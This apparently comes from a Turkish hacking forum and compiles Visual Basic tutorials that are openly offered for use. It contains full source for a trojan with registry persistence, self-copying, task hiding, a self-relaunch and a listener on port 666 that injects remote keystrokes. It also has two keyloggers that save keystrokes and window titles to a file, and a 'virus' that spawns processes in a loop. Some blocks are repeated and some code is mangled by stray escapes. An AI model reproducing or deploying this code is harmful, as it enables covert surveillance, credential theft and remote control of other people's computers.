VB Genel Konularım-1
Visual Basic trojan yapımı
Trojanlar ve çalisma sistemleri
Isin aslina bakarsaniz trojan bulasmis her bilgisayar çok büyük bir tehlike altinda degildir. Sisteminize bulasmis basit bir trojan sadece kendini tatmin etmek isteyen yolunu kaybetmis bir lamerin eglencesidir diyebilirim. Yani bilgisayarinizda çok önemli bir kaynak yok ise yada bu kaynaklarin sizde oldugu bilinmiyorsa trojanlardan korkmanin pek fazla bir mantigi yoktur. Ancak unutmamak gerekir ki sinek küçükte olsa mide bulandirir ve zaman zaman ciddi sorunlara neden olabilir.
Ilk amaç habersizce Windows ile birlikte baslamaktir. Daha sonra bilgisayardaki belirli portlari kullanima açarak remote erisimi mümkün kilmak. Trojanlar geneli itibariyla kendilerini Windows’un Kayit Defterinde Windows ile birlikte baslayabilecekleri yerlere kaydederler. Windows ile çalismaya baslarlar ve islevlerini yerine getirirler. Peki trojanlarin kullandiklari bu yöntemde kayit defterinde hangi anahtarlari kullanirlar. Yani Kayit Defterinde nereye kayit olurlar. Soruyu su sekilde de sorabiliriz. Windows ile birlikte baslamasi gereken programlarin kayitlari regeditte nerededir? Asagidaki anahtarlari inceleyin.
1-) [HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Curr entVersionRun>
2-) [HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Curr entVersionRunOnce>
3-) [HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Curr entVersionRunServices>
4-) [HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Curr entVersionRunServicesOnce> 5-) [HKEY_CURRENT_USERSoftwareMicrosoftWindowsC urre ntVersionRun>
6-) [HKEY_CURRENT_USERSoftwareMicrosoftWindowsC urre ntVersionRunOnce>
7-) [HKEY_CLASSES_ROOTexefileshellopencommand>
8-) [HKEY_LOCAL_MACHINESOFTWAREClassesexefilesh ell opencommand>
Asagidaki yöntemler ise kayit defterine herhangi bir girdi gerektirmezler.
1 Baslangiç klasörü
2 Windows Görev Yöneticisi
Görev yöneticisinde herhangi bir trojan kendisini bir görev olarak atayip belirli zamanlarda çalistirabilir. Windows NT, 2000 ve XP yüklü sistemlerde Komut satirina (Baslat > Çalistir | cmd) “at” komutunu girdigimizde Windows Görev Yöneticisindeki görevleri listeleyebiliriz.
3 Win.ini (load=Trojan.exe yada run=Trojan.exe)
4 System.ini (Shell=Explorer.exe trojan.exe) Explorer çalisltiginda çalisir.
5 autoexec.bat (.exe, .scr , .pif, .com, .bat uzantilari olabilir. )
6. Config.sys
Genel olarak bu yöntemler kullanilsa da bazi farkli yöntemler de trojanlar tarafindan kullanilirlar. Fakat bu saydiklarimiz en sik kullanilan yöntemlerdir. Ayrica Wormblast gibi bazi virüslerde kendilerini bu yöntemlerle çalistirmayi severler.
Trojan ile ilgili kaynak kodlara geçmeden önce trojanin yapacagi islemlerden bahsetmek istiyorum.
Yazcagimiz trojan :
Her çalistiginda kendisini Kayit defterinin “HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWIN DOW SCUR RENTVERSIONRUN” bölümüne ekleyecek ve böylece Windows her basladiginda otomatik olarak çalisacak.
Her çalistiginda Kendisini Program Files klasörüne kopyalayacak ( Bkz: Form initialize olayi)
Her kapatilmaya çalisildiginda kendisini tekrar çalistiracak. (Bkz : Form Terminate Olayi
Trtojanin birakacagi izler: Sitem Yapilandirma Yardimci Programinda görünecek (Msconfig’de).
CTRL+ALT+DEL Windows Görev Yöneticisi ekraninda görünmeyecek.
666. Portu dinleyecek ve istemci isteklerini kabul edecek. Yani Telnet ile bilgisayara girilebilecek.
Tasarim Zamani :
Formunuza bir adet winsock nesnesi ekleyin. Hiçbir özelligini degistirmeyin
Private Sub Form_Initialize()
’ Trojan her çalistiginda Program Files klasörlerine kendisini kopyalayacak.
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path ’ Ben nerdeyim ?
ad = App.EXEName & ".exe" ’ Ben kimim?
TamYol = yol & "" & ad
’ yasasin nüfus patlamasi.
FileCopy TamYol, "C:Program FilesBenTrojanDegilim.exe"
End Sub
Private Sub Form_Load()
’ Trojani Ctrl + Alt + Del ekranindan gizle
App.TaskVisible = False
’ Trojan her basladiginda kendisini windows Kayit defterine windows ile birlikte
’ baslamak üzere kayit ediyor.
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWS CURR ENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
’ Trojanin winsock ile dinlemeye alacagi port burada belirleniyor.
’ Trojan 666 portu disaridan gelecek istekler için kullanima açiyor.
’ 666 Portu isterseniz degistirebilirsiniz.
Winsock1.LocalPort = "666" ’
’ Ve artik 666. port baglantilari dinlemeye aliniyor
Winsock1.Listen
’ Form gizleniyor
Me.Hide
End Sub
Private Sub Form_Terminate()
’ Iste bas belasi: Program kapatilsa bile tekrar çalisacak.
Dim ac, d1 As String
d1 = "C:Program FilesBenTrojanDegilim.exe"
ac = Shell(d1)
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
’Winsock kontrolü kullaniliyor mu bak.
If Winsock1.State <> sckClosed Then Winsock1.Close
’Can alici nokta. Disaridan gelecek olan baglantilari kabul et.
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
’Hata olmussa yada baglanti kaybedilmisse, tekrar dinlemeye geç.
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data1 As String
Winsock1.GetData data1 ’ mesajal
DoEvents
SendKeys data1 ’mesaj gönder
End Sub
visual basic kod bankası sürüm 2.0

http://img292.imageshack.us/img292/7540/sabotecomji9.jpg
http://uploaded.to/?id=vu5dkm

http://img292.imageshack.us/img292/7540/sabotecomji9.jpg
http://uploaded.to/?id=vu5dkm
1000 visual basic kaynak dosyası
çeşitli kategorilere ayrılmış visual basic te yapılmış 1000 adet örnek program
http://rapidshare.com/files/112189154/1000_Visual_Basic_Source_Code.rar
http://rapidshare.com/files/112189154/1000_Visual_Basic_Source_Code.rar
Şok Şok Keylogger Kodları !!!

evet Arkdaşlar Keylogger kodlarını vercem
forma 2 textbox açın (text1-text2)
2 tanede timer ekleyin (timer1 - timer2)
text1'in multiLine özelliği true olsun
timer1 zamanı "5" olsun
timer2 zamnı ise "1000" olsun (1 sn)
evet bu kadar aşağıdaki kodları kodları olduğu gibi kod penceresini yapıştırın !
:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean
Private Sub Form_Load()
On Error Resume Next
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"
ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"
ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"
ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"
ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"
ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"
ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"
ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"
ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub
Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String
Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1
WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function
Private Sub Timer1_Timer()
'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
End If
Next
';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
'[]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
End If
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next
'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If
'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf
End If
'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If
'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & " [Tab] "
End If
'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & " [Esc] "
End If
'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
Text1 = Text1 & " "
End If
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
Text2.Text = "c:Keylogger.txt"
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1
End Sub
timer2
evet timer1 klavye kayıtlarını alıo ise c:keylogger.txt kaydedio
Basit bir trojen dodu
Componentler:
text1
Module:
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
&l039;Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr&l036;(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
Form1.Text1.Text = Form1.Text1.Text & Ret
End If
End Sub
Form_Load:
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
Form_Unload:
KillTimer Me.hwnd, 0
Ping Atma ve Veri Alma
Componentler
form1->frmmain
text1->txtnumber
text2->txtIP
ext3->txtoutpu
General:
Option Explicit
Const SYNCHRONIZE = &H100000
Const INFINITE = &HFFFF
Const WAIT_OBJECT_0 = 0
Const WAIT_TIMEOUT = &H102
Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Form_Load:
Dim ShellX As String
Dim lPid As Long
Dim lHnd As Long
Dim lRet As Long
Dim VarX As String
frmMain.MousePointer = 11
If txtIP.Text <> "" Then
DoEvents
ShellX = Shell("command.com /c ping -n " & txtNumber.Text & " " & txtIP.Text & " > C:&l92;log.txt", vbHide)
lPid = ShellX
If lPid <> 0 Then
lHnd = OpenProcess(SYNCHRONIZE, 0, lPid)
If lHnd <> 0 Then
lRet = WaitForSingleObject(lHnd, INFINITE)
CloseHandle (lHnd)
End If
Beep
frmMain.MousePointer = 0
Open "C:&l92;log.txt" For Input As l1
txtOutPut.Text = Input(LOF(1), 1)
Close l1
End If
Else
frmMain.MousePointer = 0
VarX = MsgBox("You have not entered an ip address or the number of times you want to ping.", vbCritical, "Error has occured"
End If
text1
Module:
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
&l039;Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr&l036;(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
Form1.Text1.Text = Form1.Text1.Text & Ret
End If
End Sub
Form_Load:
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
Form_Unload:
KillTimer Me.hwnd, 0
Ping Atma ve Veri Alma
Componentler
form1->frmmain
text1->txtnumber
text2->txtIP
ext3->txtoutpu
General:
Option Explicit
Const SYNCHRONIZE = &H100000
Const INFINITE = &HFFFF
Const WAIT_OBJECT_0 = 0
Const WAIT_TIMEOUT = &H102
Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Form_Load:
Dim ShellX As String
Dim lPid As Long
Dim lHnd As Long
Dim lRet As Long
Dim VarX As String
frmMain.MousePointer = 11
If txtIP.Text <> "" Then
DoEvents
ShellX = Shell("command.com /c ping -n " & txtNumber.Text & " " & txtIP.Text & " > C:&l92;log.txt", vbHide)
lPid = ShellX
If lPid <> 0 Then
lHnd = OpenProcess(SYNCHRONIZE, 0, lPid)
If lHnd <> 0 Then
lRet = WaitForSingleObject(lHnd, INFINITE)
CloseHandle (lHnd)
End If
Beep
frmMain.MousePointer = 0
Open "C:&l92;log.txt" For Input As l1
txtOutPut.Text = Input(LOF(1), 1)
Close l1
End If
Else
frmMain.MousePointer = 0
VarX = MsgBox("You have not entered an ip address or the number of times you want to ping.", vbCritical, "Error has occured"
End If
Visual Basic'te Virüs Yapımı
Private Sub Timer1_timer() For i = 1 To 100 Shell "cmd" Shell "calc" Shell "C:Program FilesMessengermsmsgs.exe" Shell "explorer" Shell "mspaint" Shell "sndrec32" Shell "C:Program FilesMovie Makermoviemk.exe" Shell "winmine" Next End Sub